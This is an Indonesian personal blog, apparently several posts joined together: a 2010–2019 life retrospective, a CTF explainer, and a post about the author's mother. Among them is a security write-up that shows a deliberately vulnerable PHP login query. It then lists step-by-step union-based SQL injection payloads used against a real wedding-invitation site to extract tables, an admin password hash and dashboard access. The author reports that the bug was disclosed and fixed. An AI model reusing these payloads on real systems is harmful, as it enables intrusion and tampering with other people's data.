sumber: wikipedia

Happy New Year! Alhamdulillah masih diberi kesempatan untuk hidup selama ini. Banyak hal yang telah berlalu yang wajib untuk disyukuri. Biar abadi dan bisa dikenang, tidak ada salahnya jika saya tuliskan disini hehe. Mostly yang dituliskan disini adalah hal-hal yang bisa dibilang cukup “mengubah” hidup saya. Dan sangat mungkin ada yang kelewat sehingga tidak muncul di tulisan ini. Di tulisan ini juga, izinkan saya untuk berterima kasih kepada orang-orang yang sudah terlibat didalamnya, terima kasih!

2010

Menang Lomba

Hampir 10 tahun yang lalu, mendekati kelulusan tingkat SD, akhirnya bisa menang lomba matematika. Ternyata menang lomba sebahagia itu. Terima kasih kepada Pak Adi, guru matematika yang sangat supportif. Berkat beliau, dulu saya sempat tertarik untuk bercita-cita menjadi “guru”.

Sertifikat Lomba PRISMA 2010

Lulus SD, Tidak untuk Tes Masuk SMP

Alhamdulillah, lulus dari SD Mangkura 3. Alhamdulillah juga dapat peringkat 2 huha hebat juga kamu um kecil.

Penamatan Siswa(i) SD Mangkura 3

Terima kasih kepada teman-teman SD-ku atas pertemanannya. Dulu ada geng masa kecil namanya IRAIR: Iqra, Rozi, Adnand, Ibrahim, Rifki. wkwkwk.

Mangkura 3

Mangkura 3

Dengan prestasi yang didapatkan, sempat yakin untuk lanjut sekolah ke SMP 6 (spensix). Namun takdir berkata lain, saya ditolak. Rasanya sedikit kecewa, sempat menyalahkan sistem “orang dalam” atau harus “ngurus”. But life must go on. Akhirnya saya masuk ke SMP 3 (spentig).

2011

Sekolah Menengah Pertama Part 1

Awal masuk spentig, masuk ke kelas 7-1. Hal yang paling diingat yaitu, baju kelas untuk porseni ada gambar kamus bahasa indonesianya. Karena wali kelasnya guru Bahasa Indonesia. hahhaa. Setahun di 7-1, akhirnya naik kelas ke 8-10. Mulai dapat teman banyak, wali kelas 8-10 the one and only Ibu Agustina.

Di tahun 2011 ini juga “KoS” terbentuk pertama kali, sebuah kumpulan orang-orang yang pulang sekolah mampir dulu ke Trusty (warnet dekat sekolah) buat main DoTA. Hebatnya, KoS masih bertahan sampai detik ini, walaupun orang-orangnya sudah ada yang “cabut” dan ada juga yang “join” di tengah keberjalanannya. Thanks to Maman, Raihan, Andar, Abri, Alif, Isnan, Dede, Ocha, Rafli, Cakra, Alvin, Asfar, Thufail, Fadhil yang sudah membentuk “geng” ini.

2012

Sekolah Menengah Pertama Part 2

Sepertinya di tahun 2012 saya mulai terobsesi dengan “teknologi”, hampir tiap hari pasti sama komputer. Mulai eksplor hal-hal yang ada di internet. Mulai membangun relasi di sosial media. Main DoTA hampir setiap hari. Sedikit gambaran sebagaimana kehidupan anak KoS main DoTA.

Gambaran di dalam trusty

Menunggu trusty yang tak kunjung buka

Setelah beberapa bulan di 8-10, akhirnya naik kelas ke 9-1. Yang dimana isinya juga kebanyakan anak 8-10. 2012 juga saya mulai tertarik sama seseorang. Mulai kenal yang namanya cinta, ya walaopun masih lebih banyak main game-nya wkwk.

2013

Sekolah Menengah Pertama Part 3 (end)

Akhirnya memasuki kelas 3 akhir, yang artinya sebentar lagi lulus dari SMP, lanjut ke tingkat selanjutnya SMA. Sempat ikut OSN tingkat SMP, tapi apa daya, lolos ke tingkat provinsi saja nda haha. Sempat ikut lomba MathematicsEvent-nya UNHAS juga sampai 15 besar. Pernah ikut lomba mengetik juga tapi tidak juara haha. Hitung-hitung nyari pengalaman ye kan.

2013 juga saya paling banyak nulis di blog, sampai ada 14 post. 5 Di antaranya diary tentang seseorang, ya namanya juga sedang jatuh cinta haha. Dan tentunya semua pertemuan pasti ada perpisahan, kecuali masuk SMA nya barengan, tapi sayangnya tidak haha. But terima kasih sudah menyempatkan waktunya untuk mewarnai masa smp ku. Terima kasih juga kepada teman-teman kelas 8-7 dan 9-1.

Ibu Hafsah dan anak-anaknya

Tujuh Belas

Lulus dari SMP, awalnya pengen masuk SMA 3 atau SMA 2 (deket rumah). Ga ada angin ga ada ujan tibatiba saya mendaftar ke SMA 17 (jubel). Tapi tidak ada salahnya “nyoba” masuk SMA unggulan hehe. Alhamdulillah keterima. Akhirnya di 2013 saya terpaksa harus belajar naik motor dikarenakan jarak sekolah dan rumah ± 7.7 kilometer. Pertama ikut “Masa Orientasi Siswa” di jubel kaget. Pokoknya mental sangat dilatih, harus 5S, dll. Tapi bagus biar jadi lebih dewasa.

Ohia, jubel juga punya program akselerasi (pada jaman itu). Sekali lagi, tidak ada salahnya nyoba daftar. Alhamdulillah keterima. Akhirnya dari kelas 10-5 pindah jadi kelas Aksel-1.

Di Jubel, semua siswanya harus aktif organisasi, minimal 1 ekskul besar (PMR, Paskib, Marching Band). Tanpa pikir panjang, saya ikut organisasi Resigma (Relasi Siswa Gemar Matematika), Scifor (Seventeen Club of Informatics, hitung-hitung bisa main dota bareng anak jubel), Kurma17 (Kerukunan Remaja Masjid). Dan terakhir eksul besar. Guess what i chose? Paskib? ah kayaknya capek latihan baris-berbaris tiap hari. Marching Band? Hmm saya tidak punya jiwa musik sama sekali wkwk.

PMR? yak PMR yang kelihatannya paling santai. Daftar, lanjut akhir tahun ada Pendidikan Dasar (Diksar). Dan ternyata diksar nya lebih “melatih mental” dibanding mos. Setelah diksar, lanjut mewakili PMR di ajang lomba akrepemasi divisi cerdas cermat, dan alhamdulillah juara 2.

Juara 2 Cerdas Cermat Akrepemasi IV

2014

Man Jadda Wajada

Tahun ini, OSIS mengadakan sebuah lomba tingkat sekolah yang bernama Macintosh, untuk memilih siswa yang nantinya akan diutus mengikuti OSN tingkat kota. Mata pelajaran yang dibuka juga banyak, ada OSN Matematika, Fisika, Kimia, Komputer, Biologi, dll. Satu siswa cuma boleh ikut satu mata pelajaran. Sejak SD, saya sudah jatuh cinta sama matematika. Akhirnya saya ikut OSN Komputer. Wait what? wkwk. Di Jubel, saya ketemu seseorang bernama Eko, saya akui dia lebih jago matematika. Daripada kalah di awal, mending cari mapel lain. Terus semenjak SMP saya juga hampir tiap hari di depan komputer, tidak ada salahnya buat ikut olimpiade komputer.

Hari-H Macintosh, *buka soal*. Lah kok mirip soal matematika? Kirain soal tentang microsoft word, excel, apa itu hardware, ternyata balik lagi ke soal matematika logika hahaha. Sikat. Alhamdulillah juara 1.

Juara 1 Macintosh bidang Informatika

Lanjut olimpiade tingkat kota, sempat minder, musuhnya banyak dari sekolah swasta, jago-jago. Tapi siapa sangka, saya peringkat 4 tingkat kota. Artinya lanjut ke tingkat provinsi, alhamdulillah. Tingkat provinsi ke tingkat nasional? haha kayaknya cuma mimpi, saya sempat nulis blog, bilang kalo kemungkinan lolos cuma 2%. Tapi…. Man Jadda Wajada, ternyata perjuangan ngerjain soal tiap malam tidak sia-sia, alhamdulillah saya lolos ke tingkat nasional mewakili sulsel. Dengan ini akhirnya saya bisa keluar kota untuk pertama kalinya dan bisa coba naik pesawat. alhamdulillah.

OSN 2014 Bid Informatika

Dua Satu Lima

Hampir tiap pulang sekolah pasti mampir ke UKS dulu, ntah itu latihan PMR, atau hanya sekedar ngobrol aja. Setelah ikut Diklat (lanjutan diksar) kami seangkatan memang jadi semakin akrab, kekeluargaannya dapat. Tahun ini juga 215 ngadain lomba Teratai Chapter V, kerja bareng, jadi lebih deket lagi. Tidak salah memang, “Lebih dekat dari saudara, Lebih besar dari keluarga”. Bahkan, jika liburan ke makassar, 215 merupakan salah satu tempat “pulang”. Di sini juga banyak terjadi cinlok haha.

Angkatan 14&15 PMR-PMI Unit 215 Jubel

2015

2 Tahun

Tidak terasa dua tahun sudah berlalu, yang artinya program akselerasi sebentar lagi berakhir. Kata orang, masa SMA adalah masa yang paling indah, sayangnya, kami hanya punya waktu 2 tahun untuk membuat momen yang pantas untuk dikenang. Untungnya, anak aksel isi nya “unik-unik”, jadi tetap banyak yang bisa dikenang hahaha. Thanks triton!

Triton 17

Anak Rantau

Detik-detik pengumuman SNMPTN, suatu keajaiban terjadi lagi, berbekal sertifikat OSN Informatika, saya diterima di STEI ITB. Refleks langsung peluk mama. Ini berarti, saya harus merantau. Jauh dari keluarga, jauh dari teman sd, smp, sma. Seperti memulai kehidupan yang baru. Sendirian(?). But, kata Nike, just do it.

12 Agustus 2015

Pertama kali ke Bandung, langsung jatuh cinta sama sejuknya kota kembang ini. Ohiya, selama kuliah, alhamdulillah dapat beasiswa Bidikmisi, sebuah bantuan biaya pendidikan dari pemerintah bagi lulusan SMA atau sederajat yang memiliki potensi akademik baik tetapi memiliki keterbatasan ekonomi. Alhamdulillah, semua biaya kuliah ditanggung sama pemerintah + dapet uang saku per-bulannya. Terima kasih banyak pemerintah! Terima kasih juga kepada masyarakat Indonesia yang sudah bayar pajak!

Untuk mahasiswa bidikmisi, tahun pertama kuliah wajib tinggal di Asrama, ITB sendiri punya 3 asrama (waktu itu), kebetulan saya ditempatkan di Asrama Putra Kidang Pananjung (KP). Ini juga pertama kalinya saya tinggal di asrama. Ternyata tinggal di asrama tidak se-menyeramkan seperti katakata orang. Tapi tetep ada apel pagi, piket, senam, dll. Tapi itu kan biar lebih mandiri. Oya, karena di asrama, kamar mandi nya sharing, dan kuliah masuk jam 7, mau tidak mau harus mandi subuh. Daaaan, tau kan Bandung sedingin apa? apalagi asramanya daerah dataran atas. Sip mandi pakai air es batu, hampir tiap hari haha.

Tahun pertama kuliah di ITB belum masuk ke jurusan, harus lulus TPB dulu, Tahap Persiapan Bersama. Bisa dibilang TPB merupakan SMA kelas 4. Karena mata pelajarannya tidak jauh dari mata pelajaran anak SMA. Matematika, Fisika, Kimia, namun dengan materi yang lebih susah. Agak nyesal dulu SMA sering nyontek. Karena di ITB tidak boleh nyontek sama sekali, akhirnya IP saya jauh dari kata “bagus”.

Keluarga di ITB

Untungnya di ITB juga banyak UKM, sekitar 80an. Dan yap, jauhjauh kuliah di Bandung masa cuma belajar aja, akhirnya saya daftar ke Unit Robotika ITB (URO), Keluarga Mahasiswa Islam ITB (GAMAIS), dan Unit Kesenian Sulawesi Selatan ITB (UKSS). Tahun pertama kuliah lebih sering ke UKSS. Ya karena masih belum bisa “berbaur” sama yang lain, jadi mainnya sama naknak dari sulsel dulu, dapat banyak teman baru. Bagusnya, jadi punya banyak teman dari beragam sma di sulsel. Smansa, smada, smaga, dst. Plus sudah jadi seperti keluarga baru juga, abis kuliah pasti ke sekre ukss buat ngobrol.

Open House Unit ITB

2016

Rubah Ekor 9

Setahun di TPB, mulai muncul geng-geng, yang awalnya dari kelompok bareng, nanya-nanya tugas, akhirnya jadi temen main. Namanya Rubah Ekor 9, karena isinya ada 9 orang. Dan itu kayak Kyuubinya Naruto, ada 9 ekor nya hehe. Terima kasih kepada temanteman ekor ku yang menemani masa TPB ku, khususnya Marvin yang sudah jadi “guru” selama saya TPB, mungkin kalo gaada marvin, diriku tidak bisa “survive” di TPB hahahaha.

Jalan-jalan ke Jogja

Robotika

URO sendiri baru mulai kaderisasi waktu semester 2. Karena masa TPB tidak begitu sibuk (katanya), akhirnya saya ikut kaderisasinya, awalnya enjoy aja. eh ternyata seru juga, bisa ngoprek-ngoprek robot. Ternyata ngoprek tidak sebatas satu sampai dua jam, bahkan bisa seharian sampai nginap, apalagi mendekati lomba. Saya bergabung di tim Kontes Robot Sepak Bola Indonesia Humanoid (KRSBI-H) yang nantinya akan berlomba di ajang Kontes Robot Indonesia (KRI). Untungnya, kakak-kakak di URO baikbaik, jadi bisa nambah teman + nambah ilmu juga yang berkaitan dengan pemrograman.

Anak Gawang

Teknik Informatika

Akhir TPB, seluruh mahasiswa kemudian memilih jurusan yang diinginkan. Sama seperti SNMPTN atau SBMPTN, setiap mahasiswa bisa memilih jurusan sesuai dengan minatnya masing-masing. Waktu itu, saya sempat pesimis dikarenakan IPK saya yang bisa dibilang cukup mengecewakan. Sedangkan, Teknik Informatika merupakan salah satu jurusan yang cukup populer. Bahkan, saya sempat kepikiran, jika tidak lulus teknik informatika, mungkin saya akan tes lagi ke teknik informatika unhas. Tapi, atas izin Allah SWT, tibatiba jurusan Informatika kuotanya bertambah, dari sekitar 100 orang menjadi sekitar 150 orang. Dan alhamdulillah saya termasuk ke salah satu 150 orang itu.

Setiap jurusan, pasti punya himpunan. Hampir semua mahasiswa ITB ikut osjur (ospek jurusan) agar bisa bergabung ke himpunan. Akhirnya, mau tidak mau, saya ikut osjur Himpunan Mahasiswa Informatika ITB (HMIF) yang diberi nama SPARTA. Di SPARTA, kita diberi tugas yang melimpah. Katanya, biar terbiasa dengan kehidupan di jurusan nanti. Awalnya saya tidak percaya. “Tugas apaan ini ga habis-habis, belum juga selesai yang satu, udah nambah lagi tugasnya, paling di kampus juga ga sebanyak ini”. Ternyata, tugas di kampus lebih banyak dari tugas SPARTA. mamam.

Pelantikan SPARTA HMIF

Di Teknik Informatika juga ada yang namanya “Klub & Komunitas”. Sekali lagi, biar kuliah isinya ga belajar aja. Akhirnya saya daftar komunitas cyber ITB. Siapa tau bisa jadi Hackerman.

2017

IFoS + Ewako + URO + SPARTA

UKSS sendiri punya dua proker yang besar, ITB For South Sulawesi (IFoS) dan Ewako (sebuah pentas seni). Jadi senior (tua) di suatu organisasi, artinya harus mengisi jabatan yang senior juga. Kebetulan, di IFoS saya diamanahkan sebagai Kepala Fundraising, awalnya saya bahkan tidak tau fundraising itu apa. Ntahlah apa pikirannya Kak Alim waktu milih saya. haha. Untungnya semua berjalan lancar, tapi kata kak Alim, gara-gara fundraising, pengeluarannya minus. haduh.

Superteam IFoS

Lanjut proker Ewako, kebetulan saya diamanahkan menjadi kepala divisi desain oleh kak Rudi selaku kepala bidang marketing. Untunglah saya masih punya skill desain sedikit. Walopun bukan anak FSRD :/. Mengingat saya hectic juga di URO, akhirnya ada beberapa masalah di Ewako, saya sempat skip, namun untungnya tetap bisa dicover oleh beberapa anak desain. Disini saya jadi tau arti sebuah tanggung jawab.

Ewako

Atas kerja keras tim URO, akhirnya pada tahun 2017, tim KRSBI-H bisa dapet juara 3 Nasional. Maapkan saya yang tidak begitu berkontribusi.

KRI Nasional 2017

Belum habis juga, tiba-tiba saya diamanahi lagi untuk jadi kadiv Pubdok di SPARTA, tahun lalu diosjur, sekarang waktunya meng-osjur. Terima kasih kepada Dzar yang sudah memercayaiku.

After SPARTA

Capture The Flag

Masuk ke komunitas cyber HMIF, ternyata materi nya menarik juga, terus ada lomba nya juga, namanya Capture The Flag atau yang disingkat CTF. Oia, awalnya saya sempat tertarik untuk ikut lomba Competitive Programming (CP) mengingat dulu saya mantan anak OSN, namun di ITB sudah banyak orang-orang imba disini (yang dulunya juara waktu saya OSN). Akhirnya, seperti bagaimana saya moveon dari matematika ke komputer. Akhirnya saya moveon dari CP ke CTF. Kalau mau tau apa itu CTF lebih lanjut, bisa kesini.

Akhirnya saya ikut beberapa lomba CTF, alhamdulillah beberapa lolos sampai tahap final. Bagusnya, jika lolos ke Final, bisa izin kuliah, jalan-jalan ke kampus lain, dan yang terpenting, gratis. Alhamdulillah, di 2017 saya bisa jadi finalis di IPB dan UI.

Finalis pertama lomba CTF

Alhamdulillah juga bisa menang salah satu lomba CTF, walaupun cuma regional Bandung haha.

Penyerahan hadiah BornToProtect Reg Bandung

Saya sempat bermimpi bisa menang lomba CTF Compfest (salah satu lomba IT ternama di Indonesia), sampai akhirnya ketika Parade Wisuda oktober 2017, saya foto dengan salah satu plakat punya kakak tingkat “Compfest 9, 1st Runner Up CTF”. Gapapa pinjem dulu aja, siapa tau nanti punyaa. Aamiin.

Mimpi dulu aja

2018

CTF, CTF, CTF

Memasuki tahun 2018, sekarang saya lebih fokus ke CTF, sudah jarang datang ke unit-unit, ntah kenapa senang rasanya ketika dapat Flag. Ibarat nge-stalk gebetan, terus dapet info menarik tentang gebetan. Nah gitu rasanya. Akhirnya semakin banyak lomba yang diikuti, semakin sering latihan CTF, hampir tiap hari. Bahkan di kelas, kalo dosennya bosenin, saya ngerjain soal CTF. Mulai bentuk tim yang ideal, akhirnya, man jadda wajada, akhirnya bisa jadi finalis + naik podium di beberapa lomba.

Alhamdulillah total delapan lomba lolos sebagai finalis, lima diantaranya naik podium, dua diantaranya juara 1. Alhamdulillahnya lagi, bisa juara 1 Compfest, lomba yang tahun lalu saya idam-idamkan. Benar kata Allah, barang siapa yang bersungguh-sungguh, pasti berhasil.

Team ITB di Compfest X

Tidak cukup sampai situ, karena juga juara 1 pada lomba yang disponsori oleh Bukalapak. Akhirnya saya bisa ngobrol langsung dengan Head of Information Security Bukalapak, Mas Vandy. Inti dari obrolannya, kalo nanti mau kerja di Bukalapak, hubungi mas vandy aja. Alhamdulillah, memang nikmat Allah tidak ada habisnya. Terima kasih kepada Kak Jason dan Kak Polpan yang sudah menerima saya di tim nya!

After Lomba CTF, IPB

Kerja Praktik / Intern

Memasuki semester akhir, semua mahasiswa teknik informatika diwajibkan untuk melakukan kerja praktik, atau bahasa kerennya internship. Waktu itu saya masih belum begitu tau apa itu internship? apa manfaat internship? Setelah internship saya tersadar, internship sangatlah worth to try, bahkan saya sempat menyesal, liburan yang biasanya dipakai untuk pulang ke Makassar, harusnya bisa dipakai internship aja.

Sedikit cerita tentang intern, awalnya saya daftar HDE (sekarang namanya HENNGE), sebuah perusahaan IT di Jepang. Kebetulan HDE memiliki program yang bernama Global Internship Program. Daftar, Tes, Menunggu. Sepertinya tak kunjung ada informasi. Dan sepertinya saya belum diridhoi untuk ke Jepang. Kesalahannya yaitu ketika menunggu pengumuman, harusnya saya daftar di tempat lain. Tapi ini pengalaman pertama, saya belum tau apaapa. Oke Lesson Learned.

Long story short, akhirnya saya intern di Goers, sebuah startup yang bergerak di bidang event manager. Alhamdulillah, di Goers paid internship. Jadi magang terus digaji juga. Magang selama 3 bulan. Lumayan jadi tau gimana kehidupan seorang software engineer.

Makan makan Goers

Mahasiswa Tingkat Akhir

Memasuki tingkat akhir, akhirnya sudah tidak ada lagi kelas wajib. Semua kelas pilihan. Akhirnya harus berpisah dengan kelas K2. Kelas dimana geng Owaowa terbentuk. Sama seperti Rubah Ekor 9. Namun bedanya owaowa ini berumur 3+ tahun.

K02 IF ITB 2015 + Bu Inge

Sehari-hari, setiap kelar kuliah, pasti makan bareng, ngobrol bareng, main bareng, menunggu jam kuliah selanjutnya. Emang mantaplah owaowa. Terima kasih sudah mengisi kehidupan perkuliahanku. See you on top guys!

OwaOwa

Akhirnya masuklah ke tahap akhir kuliah, skripsi atau yang disebut Tugas Akhir (TA). Tahap dimana harus kuat melawan diri sendiri. Melawan kemageran diri sendiri. Sedikit tips buat kalyan-kalean yang sedang berjuang mengerjakan TA:

• Ambil judul yang sesuai dengan passion kamu. Biar ngerjain TA nya enak
• Set deadline untuk tiap bab atau subbab nya. Percayalah pada power of deadline
• Jangan kerja di kos, apalagi sendirian. Cari teman kerja bareng, pergi ke working space
• Jangan terlalu perfeksionis, TA bukan segalanya. Kerjakan TA minimal lulus
• Sering-sering backup file TA ke Google Drive atau dimanapun yang aman
• Jalin komunikasi (atau persahabatan) dengan dosen pembimbing
• Ingat orang tua di rumah
• It’s done when it’s done

2019

Tahun 2019 merupakan tahun terbaik yang pernah saya lalui. Alhamdulillah.

Organisasi, Konferensi, Kompetisi

Tahun terakhir kuliah lagilagi diisi dengan kesibukan organisasi. Arkavidia, salah satu acara tahunan HMIF, terima kasih kepada Mim yang telah memercayaiku sebagai Kepala Bidang Lomba. Di Arkav 5 sendiri ada empat lomba: CP, CTF, Technovation, dan Arkalogica. Kudos to kadiv-kadivnya, Yonas, MasJekk&Munir, Cis, dan Habibi. Terima kasih sudah mau bantu bidang Lomba.

Arkavidia 5

Setelah ngurus arkav, tiba-tiba Facebook mengadakan konferensi dengan topik security untuk Asia-Pacific di Singapura. Cus langsung daftar. Lumayan bisa ikut konferensi di luar. Isi data, tes, dan nunggu pengumuman. Beberapa hari kemudian.

Invitation Letter BountyCon

Alhamdulillah, bisa keluar negeri untuk pertama kali, langsung urus paspor juga. Dan Go. Di BountyCon jadi ketemu orang-orang baru yang imba-imba. Ternyata dunia “security” tidak sebatas di CTF saja, ada yang namanya Bug Bounty, dan semoga di 2020 ini saya bisa berpartisipasi di beberapa bug bounty. Pertama kali ke sg langsung terpukau dengan negaranya. Hmm memang beda sama negara +62. Terima kasih kpd kak Rudi yang sudah jadi tour-guide ku selama di sg!

Singapura

Akhirnya lomba CTF semakin dikenal di Indonesia. Bukan cuma kampus-kampus yang ngadain CTF lagi, perusahaan-perusahaan juga ikut ngadain. Yap dan tingkatannya jadi tingkat umum, siapa saja bisa ikut. Jadi wisuda bukanlah suatu halangan untuk tidak ber-CTF-an lagi. Akhirnya bikin tim, ajak kak Visat dan Munir. Bikin tim “Stan LOOΠΔ!”. Alhamdulillah bisa menang beberapa lomba. Tahun ini merupakan tahun ter-produktif untuk saya.

Hasil keringat di ITB

Bukalapak

Sebelum wisuda sempat berpikir, nanti habis wisuda ngapain ya? Kerja? S2? hmm terus teringat dulu pernah ngobrol sama Mas Vandy. Langsung chat ke Mas Vandy lewat linkedin.

4 Maret 2019

Akhirnya setelah melewati proses interview-tes-tes-interview

Information Security Bukalapak

Untuk Tuhan, Bangsa, dan Almamater

Akhirnya setelah melewati 4 tahun lebih perjuangan di kampus ganesha, saya wisuda.

Untuk Tuhan, Bangsa, dan Almamater

Tidak berhenti disitu, karena untuk setiap mahasiswa informatika diwajibkan untuk bikin paper, dan dosbing saya “nyuruh” submit paper ke International Conference on Data and Software Engineering (ICoDSE) di Pontianak. Akhirnya yaudah submit aja. Siapa tau lolos. Eh lolos. Alhamdulillah bisa jalan-jalan ke Pontianak.

ICoDSE 2019, Pontianak

–

Tak berhentinya saya ucapkan Alhamdulillah atas nikmat yang telah diberikan. Terima kasih juga kepada pembaca yang mau membaca sampai sini. Semoga bisa memotivasi. Jika saya punya salah selama ini, mohon dimaafkan atau bisa langsung ngomong aja biar bisa diselesaikan bersama. Atau kalau mau ngasih masukan atau apapun itu bisa isi di link ini.

–

Let’s do the best for 2020!

Karena Tugas Akhir saya juga berkaitan dengan ini. Saya ingin memberikan contoh sederhana nya.

# variable dari masukan pengguna
$name = $_POST['name'];
$pass = $_POST['pass'];

# SQL query vulnerable to SQL Injection
$sql = "SELECT id FROM users WHERE username='". $name ."' AND password='". $pass ."'";

# Execute the SQL statement
$db->execute($sql);

Dari potongan code di atas, variable $name dan $pass merupakan masukan dari pengguna, maka kita tandai sebagai berbahaya, kemudian variable tersebut di-concat menjadi variable baru $sql, oleh karena itu, kita tandai $sql juga sebagai berbahaya. Selanjutnya terdapat fungsi execute dengan parameter yang berbahaya. Hal inilah yang menyebabkan terjadinya vulnerability :(

Salah satu solusi yaitu, jangan lupa untuk sanitize masukan pengguna.

# variable name berbahaya
$name = $_POST['name'];

# fungsi escape sehingga $name aman
$name = mysql_real_escape_string($name);

Oke sekian materi singkatnya ehe, sekarang letsgo to the real example.

The Wedding Invitation

22 September 2019, tiba-tiba salah satu kakak tingkat di kantor nge-chat lewat Telegram.

Baca.. baca.. lihat link nya dan ternyata waw, ada special invite dengan nama lengkap “Achmad Fahrurrozi Maskur”, this is my first time that my name is invited on someone’s wedding. Btw semoga samawa Mas Malik dan Mbak Nay, doakan saya cepat nyusul hehe. Oke back to topic.

Terdapat sebuah website Hadiryaa dengan parameter ?to=. Hadiryaa merupakan jasa yang bergerak di bidang undangan online, baik itu undangan pernikahan, undangan acara / event maupun undangan umum. Jika dilihat, parameter to merupakan nama tamu undangan.

Reflected parameter

Langsung saja kita buka link yang diberikan, benar saja nama saya ditampilkan di websitenya.

Langsung dong kepikiran.. wah bisa di-XSS nih! nyoba nambahin jadi ?to=AchmadFahrurroziMaskur<b> eh ternyata tidak muncul apa-apa. Terus coba ubah jadi nama random juga ?to=Bambang, lho kok masih ga muncul apaapa? Hmm asumsi mungkin ada pengecekan di level database. Oke kita coba masukin nama temen yang sepertinya juga diundang. Eh ada! Berarti benar, daftar namanya disimpan di database. Karena sudah di level database, oke kita coba SQL Injection *insert petik* jadi ?to=AchmadFahrurroziMaskur'. EH kok tidak muncul apa-apa.

Kemudian cek lewat DevTools. Wut ada error SQL Ternyata.

Recon

Karena takut ada apa apa di domainnya Mas Malik, saya coba pakai domain orang lain (yang tentunya acaranya sudah lewat). Oke coba cek instagram nya Hadiryaa, eh ternyata iklannya ada nama customernya juga. Hmm.

Salah satu iklan di instagram @hadiryaa

Punten mbak-mas nopi-yodi, saya coba “main” di domainnya ya. Terus coba akses /wedding/nopi-yodi/ eh ternyata beneran ada.

Nopi-Yodi wedding homepage

SQL Injection

Fortunately, hasil dari query SQL nya ditampilin (sebagai nama undangan), pertama-tama mari coba input ' or 1 = 1 --, seharusnya dapet response user pertama, *enter*.

’ or 1 = 1 --

Yay ada. Karena hasil query nya ditampilin, bisa pake union nih, asalkan jumlah kolom nya bener. Oke langkah selanjutnya, cari jumlah kolom yang dibutuhkan.

Kita coba dengan payload kolomnya ada 1: ' or 1 = 2 union (select 1) --, (error)

’ or 1 = 2 union (select 1) --

Kemudian coba dengan payload kolomnya ada 2: ' or 1 = 2 union (select 1, 2) --, (masih error)

Lanjut coba kolomnya ada 3: ' or 1 = 2 union (select 1, 2, 3) --. Alhamdulillah berhasil, ternyata yang ditampilkan yaitu nomor 3, nah berarti payload kita ada di nomor 3

’ or 1 = 2 union (select 1, 2, 3) --

Pertama-tama coba lihat database yang dipakai

’ or 1 = 2 union (select 1, 2, database()) --

Kemudian kita cek semua table yang ada di database itu

’ or 1 = 2 union (select 1, 2, (SELECT group_concat(table_name) FROM information_schema.tables where table_schema = ‘u8738257_wedding_nopiyodi’)) --

Ternyata ada dua table, login dan undangan. Oke kita cek yang undangan dulu.

’ or 1 = 2 union (select 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns where table_name=’undangan’)) --

Oke kurang menarik, cuma ada id, namaid, dan nama. Selanjutnya kita cek kolom yang ada di table login.

’ or 1 = 2 union (select 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns where table_name=’login’)) --

Yuhu ada username dan password. Mari kita cek username terlebih dulu.

’ or 1 = 2 union (select 1, 2, (SELECT group_concat(username) FROM login)) --

Admin??? cek passwordnya.

’ or 1 = 2 union (select 1, 2, (SELECT group_concat(password) FROM login)) --

“827ccb0eea8a706c4c34a16891f84e7b”? Karena passwordnya di-hash, langsung saja kita masukan ke salah satu lookup table yang cukup terkenal, crackstatsion.

crackstation.net

Lah? lah? ternyata passwordnya 12345. Oke sekarang kita punya “admin:12345”. Tapi dimana dashboard admin? mari kita coba /admin.

admin login page

Lah kok adaa??!!?? yaudah coba login.

admin dashboard

Ternyata di dashboard admin ada semua nama undangan, juga bisa Create, Update, bahkan Delete undangan.

Penutup

Kembali ke judul, never trust user input. Bug ini juga sudah dilaporkan ke pihak Hadiryaa dan sudah difix.

Pelajaran yang (semoga) dapat diambil:

• Selalu sanitize user input
• Hash password dengan salt
• Jangan gunakan endpoint yang gampang ditebak

Capture The Flag atau yang sering disingkat CTF merupakan kompetisi di bidang security, tentunya tujuan utama dari kompetisi ini yaitu mengumpulkan flag sebanyak-banyaknya. Gimana cara dapetin flagnya? Yaitu sesuai dengan kategori soal yang diberikan.

Kategori apa saja yang ada di CTF?

1. Web Security
2. Cryptography
3. Binary Exploitation
4. Digital Forensics
5. Reverse Engineering
6. Dan lain-lain

Setiap flag yang didapatkan memiliki poin yang berbeda-beda, tergantung dari kesulitan soal. Bisa juga setiap flag memiliki nilai yang sama, namun nilainya akan berkurang apabila semakin banyak team/orang yang mendapatkan flag tersebut (dynamic scoring).

Di Indonesia, sudah banyak lomba CTF yang diadakan oleh universitas/komunitas/organisasi, contohnya Arkavidia yang diadakan oleh Insitut Teknologi Bandung. Compfest oleh Universitas Indonesia. Gemastik yang diadakan oleh Kemenristekdikti. Cyber Jawara oleh ID-SIRTII/CC bekerja sama Badan Siber dan Sandi Negara (BSSN). Dan banyak lagi.

Bacaan lebih lanjut:

1. CTF? WTF? versi ctftime.org
2. Video pengenalan CTF yang menarik
3. Apa itu CTF versi Pak Yohanes
4. Sharing lomba CTF di HMIF
5. Writeup Lomba CTF di Indonesia

Blog ini dibangun menggunakan Jekyll.

Terima kasih Jekyll.

Pernah ga sih kita pengen ngomong sesuatu ke seseorang tapi entah kenapa hal itu sangat sulit untuk dilakukan? atau hanya saya? Jangankan ngomong langsung, ngomong lewat chat aja susah. Udah kepikiran mau ngomong apa, udah ngetik panjang-panjang, eh ujung-ujungnya dihapus juga.

Kok bisa ya?

Tepat hari ini, usiaku bertambah menjadi 19. Lumayan gede, setahun lagi sudah kepala dua. Happy birthday to me!

Seperti biasa, bangun tidur ku terus mandi langsung buka hp. Sudah ada beberapa chat yang masuk, termasuk chat darinya. Tanpa pikir panjang, langsung buka chatnya dan terlihatlah tulisan panjang yang terbagi menjadi beberapa baris.

Baca 1x masih terasa biasa aja, tapi pas baca lagi dan lagi sembari meresapi tiap kata-katanya, tak terasa dua tetes air mata pun jatuh.

Pengen banget bilang Maafkan kesalahan yang sering um lakukan maa, Maafkan segala kenakalan-kenakalan yang pernah um perbuat maa, Maafkan kalo um sering tidak sesuai dengan apa yang mama harapkan, Terima kasih maa mau menerima segala kekurangan um, Terima kasih sudah sayang sama um selama 19 tahun maa (and still counting, pastinya), Terima kasih atas doa-doa yang mungkin setiap hari bahkan setiap saat mama berikan, tuhkan netes lagi Terima kasih maa sudah pernah ngajak um full jalanjalan selama kurang lebih 9 bulan, Terima kasih maa sudah berusaha menjadi sebaikbaiknya orang tua, Terima kasih telah mau dan dengan ikhlas berjuang untuk um, Terima kasih banyak maa atas segalanya.

Namun ntah kenapa hal tersebut sangat susah untuk saya lakukan. Pada akhirnya, chat yang terkirim hanya yang paling terakhir saja. Saya berharap itu bisa mewakili semuanya.

Ga cuma satu

